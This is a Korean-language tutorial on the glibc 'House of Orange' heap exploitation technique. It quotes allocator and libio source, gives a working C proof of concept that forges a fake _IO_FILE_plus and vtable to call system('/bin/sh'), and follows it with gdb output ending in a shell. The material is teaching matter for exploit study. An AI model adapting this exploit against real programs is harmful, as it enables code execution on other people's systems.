Excuse the ads! We need some help to keep our site up.
List
Conditions
- 해당 기술은 다음과 같은 조건에서 동작합니다.
- 공격자에 의해 Top chunk 영역에 값을 저장 할 수 있어야 합니다.
- 공격자에 의해 Top chunk 의 값 보다 큰 값을 생성 할 수 있어야 합니다.
- 이로 인해 기존의 Top chunk는 Free chunk가 됩니다.
- 공격자에 의해 Free chunk 영역에 값을 저장 할 수 있어야 합니다.
Exploit plan
- 다음과 같은 방법으로 공격할 수 있습니다.
Add Free chunk to Unsorted bin
- 1개의 Heap 영역을 생성합니다.
- Top chunk 영역에 아래와 같은 조건을 만족하는 값을 덮어 씁니다.
- Top chunk + size는 페이지 정렬이 되어야 합니다.
- Top chunk 값에 prev_inuse 비트를 설정해야 합니다.
- Ex) Top chunk : 0x20c01, Overwrite to value : 0xc00 + 0x1 = 0xc01
- Top chunk 영역의 값보다 큰 크기의 Heap 영역을 생성합니다.
- Malloc은 이 요청을 처리하기 위해 sysmalloc이 호출됩니다.
- sysmalloc()의 _int_free() 함수에 의해 "Top chunk - 0x8" 영역이 Unsorted bin에 등록됩니다.
- "Top chunk" 영역을 Free chunk 형태를 가집니다.
- Write to "Fake struct _IO_FILE_plus", " Fake struct _IO_wide_data"
- Free chunk 영역에 "Fake struct _IO_FILE_plus", "Fake struct _IO_wide_data" 구조를 작성합니다.
- Fake "struct _IO_FILE_plus"
- _mode = '0' 보다 큰 값
vtable = "Fake vtable address"
_wide_data = "Fake struct _IO_wide_data"가 저장된 주소
Fake "struct _IO_wide_data"
Fake "struct _IO_FILE_plus"가 작성된 공간을 활용 할 수 있습니다.
_IO_flush_all_lockp() 함수에서 사용하지 않는 "fp"변수의 "_freeres_list", "_freeres_buf" 영역 다음과 같이 활용합니다.
- fp→_wide_data 변수에 fp→_offset의 주소 값을 저장합니다.
- fp→_freeres_list = _wide_data->_IO_write_ptr
- fp→_freeres_buf = _wide_data->_IO_write_base
- fp→_wide_data 변수에 fp→_offset의 주소 값을 저장합니다.
- Fake "struct _IO_FILE_plus"
- Unsorted bin attack
- Free chunk의 bk 영역에 "&_IO_list_all - 0x10" 값을 덮어 씁니다.
- Free chunk를 smallbin[4]에 등록하기 위해 Free chunk의 size 값을 변경합니다.
- 사용 가능한 크기 : 90 ~ 98
- 새로운 Heap 영역을 생성합니다.
- House of orange(?)
- _int_malloc() 함수에서 "_IO_list_all" 영역의 값을 "main_arena.Top" 영역 주소로 변경합니다.
- _int_malloc() 함수에서 smallbin[4] 영역의 값이 Free chunk 의 주소로 변경합니다.
- _int_malloc() 함수에서 메모리 손상으로 인해 _IO_flush_all_lockp() 함수를 호출합니다.
- _IO_flush_all_lockp() 함수는 변경된 "_IO_list_all"의 값(main_arena)을 사용하게 됩니다.
_IO_flush_all_lockp() 함수의 "fp = fp→_chain" 코드에 의해 fp 값이 변경됩니다.
- 변경된 fp의 값은 "Fake struct _IO_FILE_plus"의 시작 주소입니다.
- _IO_flush_all_lockp() 함수는 변경된 fp의 값을 이용해 _IO_OVERFLOW를 호출합니다.
_IO_list_all->vtable->_IO_overflow_t
- _IO_OVERFLOW : fp + 0x60(vtable) → + 0x18(_IO_overflow_t) = 호출할 함수의 주소
Explanation of vulnerability
Add Free chunk to Unsorted bin
- 다음과 같이 sysmalloc()에서 _int_free()를 호출해 Unsorted bin에 free chunk를 등록할 수 있습니다.
- Top chunk의 값보다 큰 크기의 Heap을 생성을 요청하면, _int_malloc() 함수는 sysmalloc()를 이용해 Heap영역을 확장합니다.
- sysmalloc()에서 _int_free()를 호출하기 위해 아래의 조건을 만족해야 합니다.
- Top chunk + size는 페이지 정렬이 되어야 합니다.
- Top chunk 값에 prev_inuse 비트를 설정해야 합니다.
/* If not the first time through, we require old_size to be at least MINSIZE and to have prev_inuse set. */ assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
Unsorted bin attack
해당 페이지의 내용을 참고하세요
Call _IO_flush_all_lockp()
- glibc의 _int_malloc()에서 메모리 손상을 탐지하고 다음과 같은 순서대로 함수를 호출합니다.
- _int_malloc() → malloc_printerr() → __libc_message → __FI_abort() → _IO_flush_all_lockp()
- "House of Orange"는 바로 _IO_flush_all_lockp() 함수를 이용해 원하는 함수를 호출합니다.
- 아래 코드의 조건문에 의해 malloc_printerr() 함수가 호출됩니다.
for (;; ) { int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect (victim->size > av->system_mem, 0)) malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av); size = chunksize (victim);
_IO_flush_all_lockp()
- 해당 함수에서 중요한 부분은 다음과 같습니다.
line 792 : 해당 줄에서 호출되는 "_IO_OVERFLOW()" 함수의 주소 값을 변경하여 system() 함수를 호출 할 수 있습니다.
- line 788, 789 : 해당 줄의 조건을 만족해야 "_IO_OVERFLOW()" 함수를 호출 할 수 있습니다.
- line 806 : 해당 줄의 코드를 이용해 "fp" 변수에 Fake "_IO_FILE_plus"의 주소를 저장 할 수 있습니다.
- 공격을 위해 "fp" 변수의 값을 변경하는 이유는 다음과 같습니다.
Top chunk의 변경과 Unsorted bin attack을 이용해 "_IO_list_all" 값을 변경하였으나, 변경된 값은 main_arena의 주소 입니다.
즉, "fp" 변수에 저장된 값은 main_arena의 주소이며, 해당 값을 "fp = fp→_chain" 코드에 의해 Fake "_IO_FILE_plus" 주소로 변경할 수 있습니다.
- _IO_flush_all_lockp() 함수는 "fp" 변수에 저장된 주소 값을 기준으로 호출 할 _IO_OVERFLOW() 함수의 주소를 찾습니다.
int _IO_flush_all_lockp (int do_lock) { int result = 0; struct _IO_FILE *fp; int last_stamp; #ifdef _IO_MTSAFE_IO __libc_cleanup_region_start (do_lock, flush_cleanup, NULL); if (do_lock) _IO_lock_lock (list_all_lock); #endif last_stamp = _IO_list_all_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL; if (last_stamp != _IO_list_all_stamp) { /* Something was added to the list. Start all over again. */ fp = (_IO_FILE *) _IO_list_all; last_stamp = _IO_list_all_stamp; } else fp = fp->_chain; } #ifdef _IO_MTSAFE_IO if (do_lock) _IO_lock_unlock (list_all_lock); __libc_cleanup_region_end (0); #endif return result; }
Struct _IO_FILE_plus
"_IO_list_all" 변수는 "_IO_FILE_plus" 구조체를 사용합니다.
- "_IO_FILE_plus" 구조체는 아래와 같은 구조체를 포함합니다.
_IO_FILE
_IO_jump_t
extern struct _IO_FILE_plus *_IO_list_all;
struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; };
struct _IO_FILE
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
struct _IO_jump_t
- 아래 구조체의 형태를 보면 이동할 각 함수주소 값을 저장하도록 되어 있습니다.
_IO_overflow_t 변수에 _IO_OVERFLOW() 함수의 주소 값을 저장하고 있습니다.
struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); #if 0 get_column; set_column; #endif };
struct _IO_wide_data *_wide_data
- 아래와 같은 조건을 만족하기 위해 해당 구조체의 이해가 필요합니다.
- 해당 구조체는 아래 코드의 _wide_data 변수에서 사용합니다.
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif
struct _IO_wide_data *_wide_data
/* Extra data for wide character streams. */ struct _IO_wide_data { wchar_t *_IO_read_ptr; /* Current read pointer */ wchar_t *_IO_read_end; /* End of get area. */ wchar_t *_IO_read_base; /* Start of putback+get area. */ wchar_t *_IO_write_base; /* Start of put area. */ wchar_t *_IO_write_ptr; /* Current put pointer. */ wchar_t *_IO_write_end; /* End of put area. */ wchar_t *_IO_buf_base; /* Start of reserve area. */ wchar_t *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */ wchar_t *_IO_backup_base; /* Pointer to first valid character of backup area */ wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */ __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt; wchar_t _shortbuf[1]; const struct _IO_jump_t *_wide_vtable; };
Example
Files
Source code
#include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; p1 = malloc(0x400-16); top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; p2 = malloc(0x1000); io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; memcpy( ( char *) top, "/bin/sh\x00", 8); top[1] = 0x61; top[24] = 1; top[21] = 2; top[22] = 3; top[20] = (size_t) &top[18]; top[15] = (size_t) &winner; top[27] = (size_t ) &top[12]; malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; }
Exploit flow
Debugging
- 다음과 같이 Break point를 설정합니다.
0x4005e3 : malloc() 함수 호출
0x40060e : malloc() 함수 호출
0x4006d9 : malloc() 함수 호출
gdb-peda$ b *0x4005e3 Breakpoint 1 at 0x4005e3 gdb-peda$ b *0x40060e Breakpoint 2 at 0x40060e gdb-peda$ b *0x4006d9 Breakpoint 3 at 0x4006d9
- 다음과 같이 할당된 Heap의 크기와 Top chunk의 정보를 확인 할 수 있습니다.
- Top chunk : 0x20c01
gdb-peda$ r Starting program: /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange Breakpoint 1, 0x00000000004005e3 in main () gdb-peda$ ni 0x00000000004005e8 in main () gdb-peda$ i r rax rax 0x602010 0x602010 gdb-peda$ x/2gx 0x602010 - 0x10 0x602000: 0x0000000000000000 0x0000000000000401 gdb-peda$ x/2gx 0x602000 + 0x400 0x602400: 0x0000000000000000 0x0000000000020c01 gdb-peda$
- 다음과 같이 Top chunk 값을 변경해 Top chunk(0x602400)영역을 unsorted bin에 등록 할 수 있습니다.
- 다음과 같이 main_arena의 변화를 확인 할 수 있습니다.
할당 전 | 할당 후 | |
---|---|---|
top | 0x602400 | 0x624010 |
unsorted bin[0] | 0x7ffff7dd1b78 | 0x602400 |
unsorted bin[1] | 0x7ffff7dd1b78 | 0x602400 |
- 그리고 Top chunk(0x602400)영역은 free chunk가 됩니다.
gdb-peda$ c Continuing. Breakpoint 2, 0x000000000040060e in main () gdb-peda$ x/2gx 0x602000 + 0x400 0x602400: 0x0000000000000000 0x0000000000000c01 gdb-peda$ p main_arena.top $1 = (mchunkptr) 0x602400 gdb-peda$ p main_arena.bins[0] $2 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88> gdb-peda$ p main_arena.bins[1] $3 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88> gdb-peda$ ni 0x0000000000400613 in main () gdb-peda$ x/2gx 0x602000 + 0x400 0x602400: 0x0000000000000000 0x0000000000000be1 gdb-peda$ p main_arena.top $4 = (mchunkptr) 0x624010 gdb-peda$ p main_arena.bins[0] $5 = (mchunkptr) 0x602400 gdb-peda$ p main_arena.bins[1] $6 = (mchunkptr) 0x602400 gdb-peda$
- free chunk의 공간을 이용해 Fake "struct _IO_wide_data", "struct _IO_FILE_plus"를 작성합니다.
- free chunk의 bk영역 값을 변경하여 _IO_list_all 의 값을 main_arena영역의 주소로 변경할 수 있습니다.
- _IO_list_all : 0x7ffff7dd2540 <_IO_2_1_stderr_>
- _IO_list_all : 0x7ffff7dd2540 <_IO_2_1_stderr_>
- free chunk의 size 영역의 값을 smallbin[4]에 해당 하는 크기로 변경합니다.
- smallbin[4]이 관리하는 heap의 크기 : 90 ~ 98
- free chunk의 bk영역 값을 변경하여 _IO_list_all 의 값을 main_arena영역의 주소로 변경할 수 있습니다.
_IO_FILE_plus() 를 분석하기 위해 아래와 같이 "_IO_flush_all_lockp+0"영역에 Break point를 설정합니다.
gdb-peda$ c Continuing. Breakpoint 3, 0x00000000004006d9 in main () gdb-peda$ x/30gx 0x602400 0x602400: 0x0068732f6e69622f 0x0000000000000061 0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 0x602420: 0x0000000000000000 0x0000000000000000 0x602430: 0x0000000000000000 0x0000000000000000 0x602440: 0x0000000000000000 0x0000000000000000 0x602450: 0x0000000000000000 0x0000000000000000 0x602460: 0x0000000000000000 0x0000000000000000 0x602470: 0x0000000000000000 0x00000000004006e5 0x602480: 0x0000000000000000 0x0000000000000000 0x602490: 0x0000000000000000 0x0000000000000000 0x6024a0: 0x0000000000602490 0x0000000000000002 0x6024b0: 0x0000000000000003 0x0000000000000000 0x6024c0: 0x0000000000000001 0x0000000000000000 0x6024d0: 0x0000000000000000 0x0000000000602460 0x6024e0: 0x0000000000000000 0x0000000000000000 gdb-peda$ p _IO_list_all $8 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> gdb-peda$ disassemble _IO_flush_all_lockp Dump of assembler code for function _IO_flush_all_lockp: 0x00007ffff7a89020 <+0>: push r15 ... End of assembler dump. gdb-peda$ b *0x00007ffff7a89020 Breakpoint 4 at 0x7ffff7a89020: file genops.c, line 760. gdb-peda$
- 에러가 발생하며 _int_malloc() 함수에 의해 0x602400 영역이 smallbin[4]에 등록됩니다.
이로 인해 "fp→_chain" 영역의 값이 0x602400 으로 변경됩니다.
"fp = fp→_chain" 코드를 확인하기 위해 "*_IO_flush_all_lockp+490" 영역에 Break point를 설정합니다.
gdb-peda$ c Continuing. *** Error in `/home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1': malloc(): memory corruption: 0x00007ffff7dd2520 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7ffff7a847e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7ffff7a8f13e] /lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7ffff7a91184] /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1[0x4006de] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ffff7a2d830] /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1[0x400509] ======= Memory map: ======== 00400000-00401000 r-xp 00000000 08:01 436364 /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1 00600000-00601000 r--p 00000000 08:01 436364 /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1 00601000-00602000 rw-p 00001000 08:01 436364 /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1 00602000-00645000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fd5000-7ffff7fd8000 rw-p 00000000 00:00 0 7ffff7ff5000-7ffff7ff8000 rw-p 00000000 00:00 0 7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] Breakpoint 4, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:760 760 genops.c: No such file or directory. gdb-peda$ p _IO_list_all $9 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> gdb-peda$ p main_arena.bins[10] $10 = (mchunkptr) 0x602400 gdb-peda$ p main_arena.bins[11] $11 = (mchunkptr) 0x602400 gdb-peda$ b *_IO_flush_all_lockp+490 Breakpoint 5 at 0x7ffff7a8920a: file genops.c, line 800. gdb-peda$
- "fp = fp→_chain" 코드에 의해 smallbin[4](0x602400)에 저장된 값이 "fp"에 저장됩니다.
- 0x7ffff7dd1b78 + 0x68 = 0x7ffff7dd1be0→0x602400
gdb-peda$ c Continuing. Breakpoint 5, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:800 800 in genops.c gdb-peda$ x/i _IO_flush_all_lockp+490 => 0x7ffff7a8920a <_IO_flush_all_lockp+490>: mov rbx,QWORD PTR [rbx+0x68] gdb-peda$ p fp $14 = (struct _IO_FILE *) 0x7ffff7dd1b78 <main_arena+88> gdb-peda$ i r rbx rbx 0x7ffff7dd1b78 0x7ffff7dd1b78 gdb-peda$ ni 773 in genops.c gdb-peda$ p fp $15 = (struct _IO_FILE *) 0x602400 gdb-peda$ i r rbx rbx 0x602400 0x602400 gdb-peda$ b *_IO_flush_all_lockp+356 Breakpoint 6 at 0x7ffff7a89184: file genops.c, line 786. gdb-peda$
- 다음과 같이 변경된 "fp" 값에 의해 vtable의 주소가 변경되었습니다.
vtable address : 0x602400 + 0xd8 = 0x6024d8 → 0x602460
_IO_overflow_t : 0x602460 + 0x18 = 0x602478 → 0x4006e5
gdb-peda$ c Continuing. Breakpoint 6, 0x7ffff7a89184 in _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:786 786 in genops.c gdb-peda$ x/4i 0x7ffff7a89184 => 0x7ffff7a89184 <_IO_flush_all_lockp+356>: mov rax,QWORD PTR [rbx+0xd8] 0x7ffff7a8918b <_IO_flush_all_lockp+363>: mov esi,0xffffffff 0x7ffff7a89190 <_IO_flush_all_lockp+368>: mov rdi,rbx 0x7ffff7a89193 <_IO_flush_all_lockp+371>: call QWORD PTR [rax+0x18] gdb-peda$ i r rbx rbx 0x602400 0x602400 gdb-peda$ x/gx 0x602400 + 0xd8 0x6024d8: 0x0000000000602460 gdb-peda$ x/s 0x602400 0x602400: "/bin/sh" gdb-peda$ x/gx 0x0000000000602460 + 0x18 0x602478: 0x00000000004006e5 gdb-peda$ x/i 0x4006e5 0x4006e5 <winner>: push rbp gdb-peda$
- 아래와 같이 프로그램을 실행하면 "/bin/bash"가 실행되는 것을 확인 할 수있습니다.
gdb-peda$ c Continuing. Breakpoint 8, 0x00007ffff7a89193 in _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:786 786 in genops.c gdb-peda$ ni [New process 48247] process 48247 is executing new program: /bin/dash Error in re-setting breakpoint 5: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 6: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 7: No symbol table is loaded. Use the "file" command. Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x4005e3 Cannot insert breakpoint 2. Cannot access memory at address 0x40060e Cannot insert breakpoint 3. Cannot access memory at address 0x4006d9 Cannot insert breakpoint 4. Cannot access memory at address 0x7ffff7a89020 Cannot insert breakpoint 8. Cannot access memory at address 0x7ffff7a89193 gdb-peda$
- 프로그램을 실행하면 Error 가 출력되지만 Shell을 획득 할 수 있습니다.
lazenca0x0@ubuntu:~/Documents/Definition/heap/HouseOfOrange$ ./orange1 *** Error in `./orange1': malloc(): memory corruption: 0x00007fa48f8c8520 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fa48f57a7e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7fa48f58513e] /lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7fa48f587184] ./orange1[0x4006de] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fa48f523830] ./orange1[0x400509] ======= Memory map: ======== 00400000-00401000 r-xp 00000000 08:01 436364 /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1 00600000-00601000 r--p 00000000 08:01 436364 /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1 00601000-00602000 rw-p 00001000 08:01 436364 /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1 0211d000-02160000 rw-p 00000000 00:00 0 [heap] 7fa488000000-7fa488021000 rw-p 00000000 00:00 0 7fa488021000-7fa48c000000 ---p 00000000 00:00 0 7fa48f2ed000-7fa48f303000 r-xp 00000000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fa48f303000-7fa48f502000 ---p 00016000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fa48f502000-7fa48f503000 rw-p 00015000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fa48f503000-7fa48f6c3000 r-xp 00000000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7fa48f6c3000-7fa48f8c3000 ---p 001c0000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7fa48f8c3000-7fa48f8c7000 r--p 001c0000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7fa48f8c7000-7fa48f8c9000 rw-p 001c4000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7fa48f8c9000-7fa48f8cd000 rw-p 00000000 00:00 0 7fa48f8cd000-7fa48f8f3000 r-xp 00000000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so 7fa48facf000-7fa48fad2000 rw-p 00000000 00:00 0 7fa48faef000-7fa48faf2000 rw-p 00000000 00:00 0 7fa48faf2000-7fa48faf3000 r--p 00025000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so 7fa48faf3000-7fa48faf4000 rw-p 00026000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so 7fa48faf4000-7fa48faf5000 rw-p 00000000 00:00 0 7ffca3f1b000-7ffca3f3c000 rw-p 00000000 00:00 0 [stack] 7ffca3fd1000-7ffca3fd3000 r--p 00000000 00:00 0 [vvar] 7ffca3fd3000-7ffca3fd5000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ ls hell orange1 orange1.c peda-session-dash.txt peda-session-orange1.txt peda-session-test.txt test $ id uid=1001(lazenca0x0) gid=1001(lazenca0x0) groups=1001(lazenca0x0) $
Related information
- http://4ngelboy.blogspot.jp/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
- https://github.com/shellphish/how2heap/blob/master/house_of_orange.c
- http://www.hardtobelieve.me/index.php/2017/02/16/uba-and-fsop/
- http://uaf.io/exploitation/2017/09/03/TokyoWesterns-2017-Parrot.html